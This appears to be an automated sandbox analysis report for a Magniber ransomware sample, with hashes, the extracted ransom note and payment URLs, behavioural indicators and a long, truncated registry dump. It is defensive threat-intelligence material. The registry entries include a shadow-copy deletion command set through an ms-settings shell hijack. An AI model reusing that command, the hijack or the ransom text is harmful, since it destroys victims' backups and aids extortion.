magniber | 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367

Analysis

max time kernel
210s
max time network
175s
platform
windows10_x64
resource
win10-en-20211014
submitted
10-11-2021 10:08

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General

Target

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Size

22KB
MD5

7906dc475a8ae55ffb5af7fd3ac8f10a
SHA1

e7304e2436dc0eddddba229f1ec7145055030151
SHA256

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367
SHA512

c087b3107295095e9aca527d02b74c067e96ca5daf5457e465f8606dbf4809027faedf65d77868f6fb8bb91a1438e3d0169e59efddf1439bbd3adb3e23a739a1

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://06a44838ca7ca2700eeltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://06a44838ca7ca2700eeltalkfzj.jobsbig.cam/eltalkfzj http://06a44838ca7ca2700eeltalkfzj.boxgas.icu/eltalkfzj http://06a44838ca7ca2700eeltalkfzj.sixsees.club/eltalkfzj http://06a44838ca7ca2700eeltalkfzj.nowuser.casa/eltalkfzj Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://06a44838ca7ca2700eeltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj

http://06a44838ca7ca2700eeltalkfzj.jobsbig.cam/eltalkfzj

http://06a44838ca7ca2700eeltalkfzj.boxgas.icu/eltalkfzj

http://06a44838ca7ca2700eeltalkfzj.sixsees.club/eltalkfzj

http://06a44838ca7ca2700eeltalkfzj.nowuser.casa/eltalkfzj

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 14 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2060	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1476	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3316	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4092	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	936	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3052	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3656	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2620	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4592	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4040	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5012	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4328	4112	cmd.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2196	4112	cmd.exe	92

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\StepRedo.raw => C:\Users\Admin\Pictures\StepRedo.raw.eltalkfzj	sihost.exe
File opened for modification	C:\Users\Admin\Pictures\ConvertTrace.tiff	sihost.exe
File renamed	C:\Users\Admin\Pictures\ConvertTrace.tiff => C:\Users\Admin\Pictures\ConvertTrace.tiff.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\CompressStart.crw => C:\Users\Admin\Pictures\CompressStart.crw.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\RestoreCopy.crw => C:\Users\Admin\Pictures\RestoreCopy.crw.eltalkfzj	sihost.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	cmd.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2196 set thread context of 2312	2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	33
PID 2196 set thread context of 2336	2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	32
PID 2196 set thread context of 2440	2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	31
PID 2196 set thread context of 2672	2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	28
PID 2196 set thread context of 3584	2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	20
PID 2196 set thread context of 3864	2196	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	19

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1800	3864	WerFault.exe	19

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-36240 = "microsoft.microsoftedge_8wekyb3d8bbwe/001"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-36240 = "121"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 62445e1b1bd6d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000a981c707c9fd3b6cefc433a482ba3c2439f780e40eed067a9e072d30a8c3827c6a6b6992a6e18e4a203ac234cffc0ffc1651199c107fb104f070572a432878b54e5d7b943eaaa4d8faffe006d44b946e20843d72ad86c337de7ae3abb4a92222a3f8efac657878da22b6f1e59ac719d3f52fa23ee422d1f817c6a5c77e681b4949dd2111e86a67630bfef082a2907664ddf4137b2c74385256f278ec6184f72ab0aa63cafea2651ac8760c989cc622abf672f10b319aed23549f26ddca1ca75d2e018084553faecd6cc0a94ed48951b4ec496a94fab5f61ba26dcbbe275276e2b08059ed02614557417b716bfff9221cd419095f04e65005b7fc482f9e4484dbe9c8a9a10828b9d3ab464bc5b636f7e30d821dd4764bd464f0ec6f735114130c7f7aa4acb9b32d2134c3a0b3a9603a1b0824157ee705376466de15adcde0952886349496a524d8bb8890d890b397135b2e9fa3a188349e0e5d70be2b45ca78f707982b032f9afbdaee4f764ca1fb260b5093fd6441f97edf2543fcc0ccf0783efa44e5df5d3525e9289fd20d9fac307b1fa02683627291992cb5514b230672f395be9105c370	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\ClearBrowsingHistoryOnStart = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-36240 = "microsoft.microsoftedge_8wekyb3d8bbwe/121"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 3	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\AllowInPrivate	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 25b0743d06c1d701	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-36240 = "001"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\MrtCache	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\NextUpdateDate = "343326552"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\InProgressFlags = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 5e49011b1bd6d701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData\RulesFileNextUpdateDate = "342701103"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates\83DA05A9886F7658B = 03000000010000001400000083da05a9886f7658be73acf0a4930c0f99b92f011400000001000000140000003656896549cb5b9b2f3cac4216504d91b933d79104000000010000001000000062455357dd57cb80c32ab295743cccc00f00000001000000200000006811c6215f18c75fdbe32cf56bd66248562a7fa3ba459cfee338745061e583941900000001000000100000002d581a49c8eb5b3b3c6ef9bb65314d705c000000010000000400000000100000180000000100000010000000bb048f1838395f6fc3a1f3d2b7e976542000000001000000dc060000308206d8308204c0a003020102020a613fb718000000000004300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303131301e170d3131313031383232353531395a170d3236313031383233303531395a307e310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f66742053656375726520536572766572204341203230313130820222300d06092a864886f70d01010105000382020f003082020a0282020100d00bc0a4a81981e236e5e2aae5f3b2155875beb4e549f1e084f9bb0d64ef85c18155b8f3e7f16d40553dce8b6ad18493f5757c5ba4d47410ca32f323d3aeeecf9e0458c2d947cbd17c004148711b01671718afc6fe73037ee4ef439cef01712a1f81264377985457739d552bf09e8e7d060eac1b54f326f7f82308228b9e061d3738fd72d2cae563c19a5a7db26db352a96ee9aeb5fc8b36f99efaf61c581b9756a511e5b752dbbbe9f054bfb4ff2c6cb85d26cea00ad7df93ed7fddacf12c731ad9193755badd22788ea1d49b09f807223171b094aee0b0e726445790819715ce61ec65e24bf185521632f8b578aa7ecd4dec8321a4a89bbe9a6a04e0a31ccd56186cfd6b2f423ee237f272abd07873727bdeec0058e52130a3083a99ef9fc3f77a169665b5c381aff4397049aff6a9f66a0038f9b40819e01a35a55676225f6af269ae3ead58464db854f68941441e72b1bc122753d2c1ffb2cd50981eb5f4bbb6c28239d9ac1bf23b27846ab0c6260bd73a10e7b3db7cd356ac534c0bfa3b313774d8592bf9007919067bfd1c1d42d4410d2f050ed56b4923ffcfcdf87a82cfda3c2ddfe8d8120418ba1e8877b8981f1007bbc8057e0b09bf6bdde34e5bb0f9c784a63bca4c9f5b6229f7c7a2a89588702ce5c13f3c52234f409ac33185832fbf29f11d508f219607ceeff280c2447d9b62ef2fc37789ab454d533e0279d30203010001a382014b30820147301006092b06010401823715010403020100301d0603551d0e041604143656896549cb5b9b2f3cac4216504d91b933d791301906092b0601040182371402040c1e0a00530075006200430041300b0603551d0f040403020186300f0603551d130101ff040530030101ff301f0603551d23041830168014722d3a02319043b914054ee1eaa7c731d1238934305a0603551d1f04533051304fa04da04b8649687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963526f6f436572417574323031315f323031315f30335f32322e63726c305e06082b0601050507010104523050304e06082b060105050730028642687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b692f63657274732f4d6963526f6f436572417574323031315f323031315f30335f32322e637274300d06092a864886f70d01010b0500038202010041c861c1f55b9e3e9131f1b0c6bf0901b49db69074d709dba62e0d9fc8e7763446af0760894c81b33cd5f4123575c273a5f54d848ccba45dafbf92f617085742957265057679adeed1bab82e54a35107ac68eb210ce32581c2cd2af2c3ffcfc2bd49189ac7f084c5f914bc6b95e596efb342d253d54aa012c4ae12765309560e9df7d3a6498850f28a2c9720a2be4e78ef0565b74ba11688de31c70842247ca47b9e9dbc60005e6297e393fca7fe5b7b25dfe4537f4bbee63ef0db0179421c6e856c7db64430fba5379293b2a5ee20ad3f53d5c9f4286b57c1f81d6ab7562ab627811ca62d9fe7f4d0318397a82ab6acbe1b41f5e4895f56fbda5ad35e7d5594107e5357f44a3d402ac8bd679f84e110eefdda6b158249fc461dff4506749c4214edc539d3b3cd0b832790435192f24482ae6e9a1517b219fac7456c98017bbf37a9b088a492bc3838e01de47c97981a2e5fef3865b7352fbd7f4f21fac48cd26f06f94935eadf200f25aaea60ab2c1f4b89fcb7fa5c54904b3ea2284f6ce45265c1fd901c8582886ee9a655dd21287945b014e50acce65fc4bbdb6134699fac2638f7c1294108152e4ca0f7f90c3ede5fab08092d83acac348362f4c949428925b56eb247c5b339a0b1201b2cb18e046fa530491cd046e9405bf4ad6ebadb824a87124a80094ddbdf76b9055b1be0bb20705f0025c7d30efa16ad7b229e7108	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\ChildCapabilities\001 = 53002d0031002d00310035002d0033002d003100000053002d0031002d00310035002d0033002d003900000053002d0031002d00310035002d0033002d0033003200310035003400330030003800380034002d0031003300330039003800310036003200390032002d00380039003200350037003600310036002d003100310034003500380033003100300031003900000053002d0031002d00310035002d0033002d003700380037003400340038003200350034002d0031003200300037003900370032003800350038002d0033003500350038003600330033003600320032002d003100300035003900380038003600390036003400000053002d0031002d00310035002d0033002d0033003800340035003200370033003400360033002d0031003300330031003400320037003700300032002d0031003100380036003500350031003100390035002d003100310034003800310030003900390037003700000053002d0031002d00310035002d0033002d0031003000320034002d0031003000360035003300360035003900330036002d0031003200380031003600300034003700310036002d0033003500310031003700330038003400320038002d0031003600350034003700320031003600380037002d003400330032003700330034003400370039002d0033003200330032003100330035003800300036002d0034003000350033003200360034003100320032002d003300340035003600390033003400360038003100000053002d0031002d00310035002d0033002d0031003000320034002d0033003600320033003800350035003000340031002d0031003800320036003900390039003900350036002d0033003700340037003000360039003800310038002d0033003500320035003200360030003200320033002d0033003700340037003300370034003500310030002d0031003700340036003200370032003600320034002d003900350030003600300031003100360038002d0035003600350035003600330033003100000053002d0031002d00310035002d0033002d0031003000320034002d0032003400300035003400340033003400380039002d003800370034003000330036003100320032002d0034003200380036003000330035003500350035002d0031003800320033003900320031003500360035002d0031003700340036003500340037003400330031002d0032003400350033003800380035003400340038002d0033003600320035003900350032003900300032002d00390039003100360033003100320035003600000053002d0031002d00310035002d0033002d0031003000320034002d0031003500300032003800320035003100360036002d0031003900360033003700300038003300340035002d0032003600310036003300370037003400360031002d0032003500360032003800390037003000370034002d0034003100390032003000320038003300370032002d0033003900360038003300300031003500370030002d0031003900390037003600320038003600390032002d003100340033003500390035003300360032003200000053002d0031002d00310035002d0033002d0031003000320034002d0033003200300033003300350031003400320039002d0032003100320030003400340033003700380034002d0032003800370032003600370030003700390037002d0031003900310038003900350038003300300032002d0032003800320039003000350035003600340037002d0034003200370035003700390034003500310039002d003700360035003600360034003400310034002d003200370035003100370037003300330033003400000053002d0031002d00310035002d0033002d0031003000320034002d0031003700380038003100320039003300300033002d0032003100380033003200300038003500370037002d0033003900390039003400370034003200370032002d0033003100340037003300350039003900380035002d0031003700350037003300320032003100390033002d0033003800310035003700350036003300380036002d003100350031003500380032003100380030002d003100380038003800310030003100310039003300000053002d0031002d00310035002d0033002d0031003000320034002d0033003100350033003500300039003600310033002d003900360030003600360036003700360037002d0033003700320034003600310031003100330035002d0032003700320035003600360032003600340030002d00310032003100330038003200350033002d003500340033003900310030003200320037002d0031003900350030003400310034003600330035002d003400310039003000320039003000310038003700000053002d0031002d00310035002d0033002d0031003000320034002